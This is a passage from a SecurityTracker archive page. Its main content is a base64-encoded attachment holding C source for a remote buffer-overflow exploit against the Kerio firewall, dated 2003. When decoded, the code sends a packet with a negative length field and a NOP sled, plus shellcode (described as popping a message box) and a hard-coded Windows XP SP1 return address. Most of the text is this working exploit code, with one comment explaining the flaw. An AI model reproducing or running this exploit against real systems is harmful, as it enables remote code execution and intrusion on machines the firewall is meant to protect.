dXJsIHRvIHdoYXRldmVyLCB0aGlzIG9uZSBwb3BzIHVwIGFuIGlubm9mZW5zaXZlIG1lc3Nh
Z2UgYm94DQoNCi8vIGVuZCBvZiBnbG9iYWwgdmFycw0KDQppbnQgc3VjayhpbnQgc29jayxp
bnQgbikgLy8gcGFpbmZ1bGwgZnVuY3Rpb24gdG8gZ2V0IHJpZCBvZiB0aGUgcGFpbmZ1bGwg
S2VyaW8gcHJvdG9jb2wNCnsNCglpbnQgaT0wLGo9MCxrLGE9MCxiPTAsYz0wLGQ9MDsNCg0K
CXdoaWxlIChpPG4pDQoJew0KDQoJCWlmICgobnVtYnl0ZXM9cmVjdihzb2NrLCBidWYsIG4s
IDApKSA9PSAtMSkgew0KICAgICAgICAgICAgCXBlcnJvcigicmVjdiIpOw0KICAgICAgICAg
ICAgCWV4aXQoMSk7DQoJICAgICAgIH0NCg0KICAgICAgICAJaWYgKGopIGkrPShudW1ieXRl
cy0xKTsgLy8geWEgaSBrbm93IGkga25vdyA6RA0KICAgICAgIA0KICAgICAgICAJZWxzZSBp
Kz1udW1ieXRlczsNCg0KICAgICAgICAJZm9yIChrPTA7azxudW1ieXRlcztrKyspIHsNCiAg
ICAgICAgCQkJCQlpZiAoayAlIDEwID09IDApIGZwcmludGYoc3RkZXJyLCJcbiIpOw0KICAg
ICAgICAJCQkJCWlmIChidWZba109PTApIGZwcmludGYoc3RkZXJyLCIgICAgMCAiKTsNCiAg
ICAgICAgCQkJCQllbHNlIGZwcmludGYoc3RkZXJyLCIgJTQuMGQgIixidWZba10pOw0KICAg
ICAgICAJCQkJICAgICB9CQ0KDQoNCiAgICAgICAgCWZwcmludGYoc3RkZXJyLCIgICAgKiAi
KTsNCiAgICAgICAgCWorKzsNCiAgICAgICAgCWQ9YnVmW251bWJ5dGVzXTsNCiAgICAgICAg
CWM9YnVmW251bWJ5dGVzLTFdOw0KICAgICAgICAJYj1idWZbbnVtYnl0ZXMtMl07DQogICAg
ICAgIAlhPWJ1ZltudW1ieXRlcy0zXTsNCiAgICAgICAgCWlmICgoaT4yMDApICYmIChhPT0w
eDEpICYmIChiPT0weDApICYmIChjPT0weDEpICYmIChkPT0weDApKSBicmVhazsNCiAgICAg
ICAgfQ0KICAgICAgICBmcHJpbnRmKHN0ZGVyciwiXG4iKTsNCiAgICAgICAgcmV0dXJuIGk7
DQp9DQoNCg0KICAgIGludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQogICAgew0K
ICAgICAgICBpbnQgc29ja2ZkLCBpLGo7ICANCiAgICAgICAgc3RydWN0IGhvc3RlbnQgKmhl
Ow0KIA0KICAgICAgICBpZiAoYXJnYyAhPSAyKSB7DQogICAgICAgICAgICBmcHJpbnRmKHN0
ZGVyciwidXNhZ2U6IC4vJXMgaG9zdG5hbWVcbiIsYXJndlswXSk7DQogICAgICAgICAgICBl
eGl0KDEpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKChoZT1nZXRob3N0YnluYW1lKGFy
Z3ZbMV0pKSA9PSBOVUxMKSB7ICAvLyBnZXQgdGhlIGhvc3QgaW5mbyANCiAgICAgICAgICAg
IHBlcnJvcigiZ2V0aG9zdGJ5bmFtZSIpOw0KICAgICAgICAgICAgZXhpdCgxKTsNCiAgICAg
ICAgfQ0KDQogICAgICAgIGlmICgoc29ja2ZkID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RS
RUFNLCAwKSkgPT0gLTEpIHsgLy8gcHJlcGFyZSBhIHNvY2tldCBmb3IgY29ubmVjdGluZw0K
ICAgICAgICAgICAgcGVycm9yKCJzb2NrZXQiKTsNCiAgICAgICAgICAgIGV4aXQoMSk7DQog
ICAgICAgIH0NCg0KICAgICAgICB0aGVpcl9hZGRyLnNpbl9mYW1pbHkgPSBBRl9JTkVUOyAg
ICAvLyBob3N0IGJ5dGUgb3JkZXIgDQogICAgICAgIHRoZWlyX2FkZHIuc2luX3BvcnQgPSBo
dG9ucyhQT1JUKTsgIC8vIHNob3J0LCBuZXR3b3JrIGJ5dGUgb3JkZXIgDQogICAgICAgIHRo
ZWlyX2FkZHIuc2luX2FkZHIgPSAqKChzdHJ1Y3QgaW5fYWRkciAqKWhlLT5oX2FkZHIpOw0K
ICAgICAgICBtZW1zZXQoJih0aGVpcl9hZGRyLnNpbl96ZXJvKSwgJ1wwJywgOCk7ICAvLyB6
ZXJvIHRoZSByZXN0IG9mIHRoZSBzdHJ1Y3QgDQoNCiAgICAgICAgaWYgKGNvbm5lY3Qoc29j
a2ZkLCAoc3RydWN0IHNvY2thZGRyICopJnRoZWlyX2FkZHIsc2l6ZW9mKHN0cnVjdCBzb2Nr
YWRkcikpID09IC0xKSB7DQogICAgICAgICAgICBwZXJyb3IoImNvbm5lY3QiKTsNCiAgICAg
ICAgICAgIGV4aXQoMSk7DQogICAgICAgIH0NCiANCiAgICAgICAgDQogICAgICAgIGZwcmlu
dGYoc3RkZXJyLCJzaGVsbCBsZW4gPSAlZFxuIixzdHJsZW4oc2hlbGxjb2RlKSk7DQoJIGZw
cmludGYoc3RkZXJyLCJDb25uZWN0ZWQgdG8gZmlyZXdhbGwuXG4iKTsNCgkgbWVtc2V0KGJ1
ZiwweDAsc2l6ZW9mKGJ1ZikpOw0KCSBmcHJpbnRmKHN0ZGVyciwiU3Vja2luZyBidWZmZXIu
LlxuIik7DQogICAgICAgIHN1Y2soc29ja2ZkLDI2Nik7DQogICAgICAgIGZwcmludGYoc3Rk
ZXJyLCJcbkJ1ZmZlciBzdWNrZWQgYnkgYmxhY2sgaG9sZS4uXG4iKTsNCiAgICAJIG1lbXNl
dChidWYsMHgwLHNpemVvZihidWYpKTsNCiAgICAJIGZwcmludGYoc3RkZXJyLCItLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG4iKTsNCiAgICAJ
IGZwcmludGYoc3RkZXJyLCIgICAgICAgICAgICAgICAgIC0gQkFOTkVSIC0gICBcbiIpOw0K
ICAgIAkgZnByaW50ZihzdGRlcnIsIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS1cbiIpOw0KICAgIAkgc2xlZXAoMSk7DQoJIGZwcmludGYoc3Rk
ZXJyLCJjb2RlZCBieSBCdXJlYmlzdGEgKGFhbnRvbkByZXZlcnNlZGhlbGwubmV0KVxuIik7
DQoJIGZwcmludGYoc3RkZXJyLCIgICAgICAgICAgIHJlbGVhc2VkIG9uIC0gNSBBcHIgMjAw
MyAtXG4iKTsNCgkgDQoJIHNsZWVwKDIpOw0KICAgIAkgZnByaW50ZihzdGRlcnIsIi0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cbiIpOw0KCSBt
ZW1zZXQoYnVmLDB4OTAsTUFYREFUQVNJWkUpOyAvLyBzZXQgbm9wcyBhbGwgb3Zlcg0KCSAN
CgkgLy8gcHJlcGFyZXMgY2FsbCB1cCB0byBiZWdpbm5pbmcgb2YgYnVmZmVyIDMyIGJpdD01
IGJ5dGVzDQoJIGJ1ZltNQVhEQVRBU0laRS0xXT0nXHhmZic7IC8vDQoJIGJ1ZltNQVhEQVRB
U0laRS0yXT0nXHhmZic7IC8vIGNhbGwgLTExNTANCgkgYnVmW01BWERBVEFTSVpFLTNdPSdc
eGVlJzsgLy8NCgkgYnVmW01BWERBVEFTSVpFLTRdPSdceGFiJzsgLy8NCgkgYnVmW01BWERB
VEFTSVpFLTVdPSdceGU4JzsgLy8NCgkgIAkJCQkJCQ0KCSBqPTA7DQoNCgkgZm9yIChpPTkw
MDtqPHN0cmxlbihzaGVsbGNvZGUpO2krKykgYnVmW2ldPXNoZWxsY29kZVtqKytdOyAvLyBp
bnNlcnQgdGhlIHNoZWxsY29kZSBpbiBidWYgYXQgOTAwDQoJIA0KCSAvLyBwcmVwYXJlcyB0
aGUgbmV3IHJldHVybiBhZGRyZXNzIChvbiBYUFNQMSBpdCBpcyBDQUxMIEVTUCBpbiBSUENS
VDQuRExMKQ0KCQ0KCSBidWZbcmV0cG9zLTFdPSdceDc4JzsNCgkgYnVmW3JldHBvcy0yXT0n
XHgwNyc7DQoJIGJ1ZltyZXRwb3MtM109J1x4MDYnOw0KCSBidWZbcmV0cG9zLTRdPSdceDkw
JzsNCgkgDQoJIC8vIHRoaXMgcHJlcGFyZXMgcGFja2V0IGhlYWRlciB3aXRoIG5lZ2F0aXZl
IGxlbmd0aCANCgkgDQoJIGJ1ZlswXT0wOw0KCSBidWZbMV09MDsNCgkgYnVmWzJdPTB4MTQ7
DQoJIGJ1ZlszXT0weGZmZmZmZjljOyAvLyBuZWdhdGl2ZSwgLTEwMC4gZmlyZXdhbGwgd2ls
bCBwcmVwYXJlIGJ1ZiBvZiB0aGF0IHNpemUuIHNpZ25lZCBpbnRlZ2VycyBoaXQgYWdhaW4N
CgkgDQoJLyoNCiAgICAgICAgICAgIFRoZSA0dGggYnl0ZSBpbiB0aGUgcGFja2V0IGlzIHRo
ZSBzaXplIG9mIHdoYXQgdGhlIGZpcmV3YWxsIHdpbGwgYmUgZXhwZWN0aW5nIHRvIHJlY2Vp
dmUNCiAgICAgICAgcmlnaHQgYWhlYWQuIElmIHdlIHNlbmQgbG9uZ2VyIGJ1ZmZlciB0aGVu
IHdoYXQgd2UgdG9sZCB0aGUgZmlyZXdhbGwgdG8gZXhwZWN0LCBpdCB3aWxsIGJlDQogICAg
ICAgIHNpbXBseSB0cnVuY2F0ZWQgYW5kIG5vdGhpbmcgY29vbCB3aWxsIGhhcHBlbi4gVGhl
IHByb2JsZW0gaXMgS2VyaW8gbmV2ZXIgdGhvdWdodCB3ZSBjb3VsZA0KICAgICAgICB0ZWxs
IGl0IHNvbWV0aGluZyB0aGF0IHN0dXBpZCBsaWtlIHdlIGFyZSBnb2luZyB0byBzZW5kIC0x
MDAgYnl0ZXMsIGl0IGlzIGxpa2UgZXhwZWN0aW5nIGENCiAgICAgICAgY2xpZW50IHRvIGJ1
eSAtMjAgYm9va3MgZnJvbSB5b3VyIGxpYnJhcnksIHdoaWNoIGlzIGFuIGFic3VyZGl0eS4g
VGhlcmUgaXMgbm8gY2hlY2tpbmcgdG8NCiAgICAgICAgbWFrZSBzdXJlIHRoZSB1c2VyIGlu
cHV0IGlzIHZhbGlkLiBBZ2FpbiwgaW52YWxpZCB0cnVzdGVkIHVzZXIgaW5wdXQuIFdoYXQg
dGhleSBzaG91bGQgaGF2ZQ0KICAgICAgICBkb25lIGlzIGVpdGhlciB0byB1c2UgdGhlIDR0
aCBieXRlIGluc2lkZSBhIG1vZHVsdXMsIHRvIG1ha2Ugc3VyZSBpdCBpcyBhbHdheXMgcG9z
aXRpdmUsDQogICAgICAgIGVpdGhlciBsYW1pbmdseSBjaGVjayBpZiBpdCBpcyBuZWdhdGl2
ZSwgYW5kIGlmIHRydWUsIHN0b3AgcHJvY2Vzc2luZyB0aGUgaW5wdXR0ZWQgZGF0YS4NCiAg
ICAgICAgICAgICAgICAgCQ0KICAgICAgICAgICAgV2hhdCdzIHNvIGZ1bm55PyAgICAgICAg
ICAgICAgICAgICANCgkqLw0KCSANCgkgaWYgKChzZW5kKHNvY2tmZCwgYnVmLHNpemVvZihi
dWYpLDApKSA9PSAtMSApIHsgLy8gUEFTQVJBTiEgDQoJCXBlcnJvcigic2VuZCIpOw0KCQll
eGl0KDEpOw0KCSB9DQoJIGZwcmludGYoc3RkZXJyLCIuLnBhc2FyYW4uLi5cbiIpOw0KCSBm
cHJpbnRmKHN0ZGVyciwiOkQgRG9uZSFcbiIpOw0KCSANCiAgICAgICAgY2xvc2Uoc29ja2Zk
KTsNCiAgICAgICB9DQogICAgICAgDQogICAgICAgDQogICAgICAgDQo=
--------------070608060600050905040108--



 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2022, SecurityGlobal.net LLC